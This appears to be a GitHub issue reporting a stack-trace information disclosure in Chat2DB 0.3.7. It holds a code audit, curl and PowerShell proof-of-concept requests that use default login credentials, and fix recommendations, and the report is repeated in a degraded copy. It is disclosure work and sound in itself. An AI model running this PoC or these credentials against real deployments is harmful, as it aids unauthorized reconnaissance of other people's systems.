Chat2DB Version
0.3.7
Describe the bug
Vulnerability Report: Chat2DB DDL Example Endpoint Java Stack Trace Information Disclosure
1. Product Overview
Chat2DB is an open-source database management and intelligent SQL assistant tool that supports multiple database types including MySQL, PostgreSQL, and Oracle. Its server side is built on Spring Boot, providing Web APIs for frontend and external consumption, and is widely used in enterprise database operations and maintenance scenarios.
2. Vulnerability Description
| Attribute |
Value |
| Vulnerability Type |
CWE-209: Generation of Error Message Containing Sensitive Information |
| CVSS 3.1 |
4.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) |
| Vulnerable File |
chat2db-server-domain/chat2db-server-domain-core/src/main/java/ai/chat2db/server/domain/core/impl/TableServiceImpl.java (line 97) |
| Prerequisites |
A valid login session is required (any regular user privilege is sufficient) |
| Trigger Endpoint |
GET /api/rdb/ddl/create/example (authentication required, backend API) |
- Core Impact: Returns a complete Java exception stack trace to authenticated users, exposing internal class names, method signatures, file paths, and line numbers, assisting attackers in targeted vulnerability research.
- Environmental Constraints: A valid login credential is required (any regular account is sufficient).
- Default Trigger Condition: Triggerable on a default installation without any special configuration.
3. Affected Scope
- Affected Versions: All versions of Chat2DB that include this endpoint (including the
chat2db-server-web-api module)
- Unaffected Versions: Versions that have applied desensitization to the
errorDetail field in exception responses
- Trigger Condition and Default: A default installation satisfies the trigger condition; any logged-in user can reproduce the issue
4. Vulnerability Details
4.1 Code Audit Analysis
Vulnerability Entry Point — Controller Layer
RdbDdlController.java:182
@GetMapping("/create/example")
public DataResult<String> createExample(@Valid TableCreateDdlQueryRequest request) {
return tableService.createTableExample(request.getDbType());
}
Accepts the request parameter dbType and passes it to tableService.createTableExample().
Request Object Does Not Implement Data Source Interfaces
TableCreateDdlQueryRequest.java:13
@Data
public class TableCreateDdlQueryRequest {
@NotNull
private String dbType;
}
This class only contains the dbType field and does not implement the DataSourceBaseRequestInfo, DataSourceBaseRequest, or DataSourceConsoleRequestInfo interfaces.
Aspect Skips ThreadLocal Initialization
ConnectionInfoHandler.java:43
for (int i = 0; i < params.length; i++) {
Object param = params[i];
if (param instanceof DataSourceBaseRequest) {
// ... initialize ThreadLocal
} else if (param instanceof DataSourceConsoleRequestInfo) {
// ... initialize ThreadLocal
} else if (param instanceof DataSourceBaseRequestInfo) {
// ... initialize ThreadLocal
}
// TableCreateDdlQueryRequest does not match any branch; Chat2DBContext.putContext() is never called
}
TableCreateDdlQueryRequest does not match any of the above types, so the aspect passes through directly and CONNECT_INFO_THREAD_LOCAL remains null.
Service Layer Uses No-Argument Version, Causing NPE
TableServiceImpl.java:96
@Override
public DataResult<String> createTableExample(String dbType) {
String sql = Chat2DBContext.getDBConfig().getSimpleCreateTable(); // The passed-in dbType is ignored!
return DataResult.of(sql);
}
The method receives the dbType parameter but never uses it, instead calling the no-argument Chat2DBContext.getDBConfig():
Chat2DBContext.java:73
public static DBConfig getDBConfig() {
return PLUGIN_MAP.get(getConnectInfo().getDbType()).getDBConfig();
// ↑ getConnectInfo() returns null → null.getDbType() → NullPointerException
}
Exception Handler Serializes the Full Stack Trace into the Response
EasyControllerExceptionHandler.java:158
@ExceptionHandler(Exception.class)
public ActionResult handledException(HttpServletRequest request, Exception exception) {
ActionResult result = convert(exception);
// ...
return result;
}
DefaultExceptionConvertor.java:16
public ActionResult convert(Throwable exception) {
return ActionResult.fail("common.systemError",
I18nUtils.getMessage("common.systemError"),
ExceptionUtils.getErrorInfoFromException(exception)); // Full stack trace written to errorDetail
}
ExceptionUtils.java:20
public static String getErrorInfoFromException(Throwable throwable) {
try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
throwable.printStackTrace(pw); // Full stack trace serialized to string
return sw.toString();
}
// ...
}
The final stack trace string is returned to the client as JSON via the ActionResult.errorDetail field.
4.2 PoC Construction
- Endpoint Selection:
GET /api/rdb/ddl/create/example is an endpoint specifically for "table creation statement examples". Only the dbType parameter needs to be provided (any non-null string satisfies the @NotNull validation).
- Bypass Method: No bypass is required. The design flaw in the endpoint itself causes the ThreadLocal to remain uninitialized.
- Exploit Chain: Log in to obtain a session → Send an authenticated request to the endpoint → Server triggers NPE → Default exception handler writes the full stack trace into the
errorDetail field of the response.
5. Proof of Concept (Reproduction)
5.1 Environment Setup
- Target: Chat2DB (latest version) on Windows/Linux
- Frontend URL:
http://127.0.0.1:10824/
- API Base Path:
http://127.0.0.1:10824/api
5.2 Reproduction Steps
Step 1: Visit the Chat2DB login page and log in with a valid account (e.g., chat2db / chat2db2023).
Navigate to http://127.0.0.1:10824/login, enter the username and password, then click the login button.

Step 2: After a successful login, use the obtained session to directly request the vulnerable endpoint.
Access the following URL in the browser address bar:
http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL
Or send the request via developer tools / an API tool and observe the response body.

Step 3: The errorDetail field in the response contains the complete Java stack trace.
The errorDetail in the response JSON contains content similar to the following:
java.lang.NullPointerException
at ai.chat2db.spi.sql.Chat2DBContext.getDBConfig(Chat2DBContext.java:74)
at ai.chat2db.server.domain.core.impl.TableServiceImpl.createTableExample(TableServiceImpl.java:97)
at ai.chat2db.server.web.api.controller.rdb.RdbDdlController.createExample(RdbDdlController.java:183)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
...

5.3 Result Verification
| Verification Item |
Result |
| HTTP Status Code |
200 OK |
success field |
false |
errorCode field |
common.systemError |
errorDetail contains NullPointerException |
✅ Confirmed |
errorDetail contains at ai.chat2db internal class path |
✅ Confirmed |
errorDetail contains Chat2DBContext.java:74 line number |
✅ Confirmed |
errorDetail contains TableServiceImpl.java:97 line number |
✅ Confirmed |
5.4 Attack Chain Diagram
Attacker (authenticated regular user)
│
├─ GET /api/rdb/ddl/create/example?dbType=MYSQL
│
├─ ConnectionInfoHandler aspect: TableCreateDdlQueryRequest does not match any data source interface
│ └─ Chat2DBContext.putContext() is never called; CONNECT_INFO_THREAD_LOCAL = null
│
├─ TableServiceImpl.createTableExample(dbType)
│ └─ dbType parameter is ignored; calls Chat2DBContext.getDBConfig() (no-argument version)
│ └─ getConnectInfo() returns null → null.getDbType() → NullPointerException
│
├─ EasyControllerExceptionHandler.handledException()
│ └─ DefaultExceptionConvertor.convert()
│ └─ ExceptionUtils.getErrorInfoFromException() → full stack trace serialized
│
└─ Response JSON errorDetail field contains full stack trace ✓
Leaked: class names, method signatures, file paths, line numbers
6. POC
# Step 1: Log in to obtain a token (replace USERNAME and PASSWORD)
TOKEN=$(curl -s -X POST http://127.0.0.1:10824/api/oauth/login_a \
-H "Content-Type: application/json" \
-d '{"userName":"chat2db","password":"chat2db2023"}' \
-c /tmp/chat2db_cookie.txt | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',''))")
echo "Token: $TOKEN"
# Step 2: Trigger the vulnerable endpoint with Cookie and token Header
curl -s "http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL" \
-H "satoken: $TOKEN" \
-b /tmp/chat2db_cookie.txt | python3 -m json.tool
Windows PowerShell version:
# Step 1: Log in
$loginResp = Invoke-RestMethod -Method POST -Uri "http://127.0.0.1:10824/api/oauth/login_a" `
-ContentType "application/json" `
-Body '{"userName":"chat2db","password":"chat2db2023"}' `
-SessionVariable session
$token = $loginResp.data
# Step 2: Trigger the vulnerability
$resp = Invoke-RestMethod -Uri "http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL" `
-Headers @{ "satoken" = $token } `
-WebSession $session
$resp.errorDetail
Python PoC script:
python project/Chat2DB/poc_chat2db_stacktrace_leak.py --host http://127.0.0.1:10824 --username chat2db --password chat2db2023
7. Remediation Recommendations
Option 1 (Recommended): Use the parameterized version getDBConfig(String dbType) in the Service layer
Change the no-argument call in TableServiceImpl.java:97 to the parameterized version:
// Before fix
public DataResult<String> createTableExample(String dbType) {
String sql = Chat2DBContext.getDBConfig().getSimpleCreateTable();
return DataResult.of(sql);
}
// After fix
public DataResult<String> createTableExample(String dbType) {
String sql = Chat2DBContext.getDBConfig(dbType).getSimpleCreateTable();
return DataResult.of(sql);
}
The Chat2DBContext.getDBConfig(String dbType) method (line 69) looks up the plugin directly via PLUGIN_MAP.get(dbType), requires no ThreadLocal context, and will not produce an NPE.
Option 2: Desensitize the errorDetail field
In production environments, DefaultExceptionConvertor should not write the full stack trace into the API response:
// Before fix
public ActionResult convert(Throwable exception) {
return ActionResult.fail("common.systemError",
I18nUtils.getMessage("common.systemError"),
ExceptionUtils.getErrorInfoFromException(exception)); // Exposes full stack trace
}
// After fix (production environment)
public ActionResult convert(Throwable exception) {
log.error("System error", exception); // Stack trace recorded to logs
return ActionResult.fail("common.systemError",
I18nUtils.getMessage("common.systemError"),
null); // No stack trace returned in the API response
}
Option 3: Apply whitelist validation to the dbType parameter
Validate the legitimacy of dbType at the Controller or Service layer, rejecting invalid database types to reduce the probability of invalid requests triggering exceptions.
Priority: Option 1 addresses the root cause defect; Option 2 serves as defense-in-depth. It is recommended to implement both simultaneously.
Chat2DB Version
0.3.7
Describe the bug
Vulnerability Report: Chat2DB DDL Example Endpoint Java Stack Trace Information Disclosure
1. Product Overview
Chat2DB is an open-source database management and intelligent SQL assistant tool that supports multiple database types including MySQL, PostgreSQL, and Oracle. Its server side is built on Spring Boot, providing Web APIs for frontend and external consumption, and is widely used in enterprise database operations and maintenance scenarios.
2. Vulnerability Description
chat2db-server-domain/chat2db-server-domain-core/src/main/java/ai/chat2db/server/domain/core/impl/TableServiceImpl.java(line 97)GET /api/rdb/ddl/create/example(authentication required, backend API)3. Affected Scope
chat2db-server-web-apimodule)errorDetailfield in exception responses4. Vulnerability Details
4.1 Code Audit Analysis
Vulnerability Entry Point — Controller Layer
RdbDdlController.java:182Accepts the request parameter
dbTypeand passes it totableService.createTableExample().Request Object Does Not Implement Data Source Interfaces
TableCreateDdlQueryRequest.java:13This class only contains the
dbTypefield and does not implement theDataSourceBaseRequestInfo,DataSourceBaseRequest, orDataSourceConsoleRequestInfointerfaces.Aspect Skips ThreadLocal Initialization
ConnectionInfoHandler.java:43TableCreateDdlQueryRequestdoes not match any of the above types, so the aspect passes through directly andCONNECT_INFO_THREAD_LOCALremainsnull.Service Layer Uses No-Argument Version, Causing NPE
TableServiceImpl.java:96The method receives the
dbTypeparameter but never uses it, instead calling the no-argumentChat2DBContext.getDBConfig():Chat2DBContext.java:73Exception Handler Serializes the Full Stack Trace into the Response
EasyControllerExceptionHandler.java:158DefaultExceptionConvertor.java:16ExceptionUtils.java:20The final stack trace string is returned to the client as JSON via the
ActionResult.errorDetailfield.4.2 PoC Construction
GET /api/rdb/ddl/create/exampleis an endpoint specifically for "table creation statement examples". Only thedbTypeparameter needs to be provided (any non-null string satisfies the@NotNullvalidation).errorDetailfield of the response.5. Proof of Concept (Reproduction)
5.1 Environment Setup
http://127.0.0.1:10824/http://127.0.0.1:10824/api5.2 Reproduction Steps
Step 1: Visit the Chat2DB login page and log in with a valid account (e.g.,
chat2db/chat2db2023).Navigate to
http://127.0.0.1:10824/login, enter the username and password, then click the login button.Step 2: After a successful login, use the obtained session to directly request the vulnerable endpoint.
Access the following URL in the browser address bar:
Or send the request via developer tools / an API tool and observe the response body.
Step 3: The
errorDetailfield in the response contains the complete Java stack trace.The
errorDetailin the response JSON contains content similar to the following:5.3 Result Verification
successfieldfalseerrorCodefieldcommon.systemErrorerrorDetailcontainsNullPointerExceptionerrorDetailcontainsat ai.chat2dbinternal class patherrorDetailcontainsChat2DBContext.java:74line numbererrorDetailcontainsTableServiceImpl.java:97line number5.4 Attack Chain Diagram
6. POC
Windows PowerShell version:
Python PoC script:
7. Remediation Recommendations
Option 1 (Recommended): Use the parameterized version
getDBConfig(String dbType)in the Service layerChange the no-argument call in
TableServiceImpl.java:97to the parameterized version:The
Chat2DBContext.getDBConfig(String dbType)method (line 69) looks up the plugin directly viaPLUGIN_MAP.get(dbType), requires no ThreadLocal context, and will not produce an NPE.Option 2: Desensitize the
errorDetailfieldIn production environments,
DefaultExceptionConvertorshould not write the full stack trace into the API response:Option 3: Apply whitelist validation to the
dbTypeparameterValidate the legitimacy of
dbTypeat the Controller or Service layer, rejecting invalid database types to reduce the probability of invalid requests triggering exceptions.Priority: Option 1 addresses the root cause defect; Option 2 serves as defense-in-depth. It is recommended to implement both simultaneously.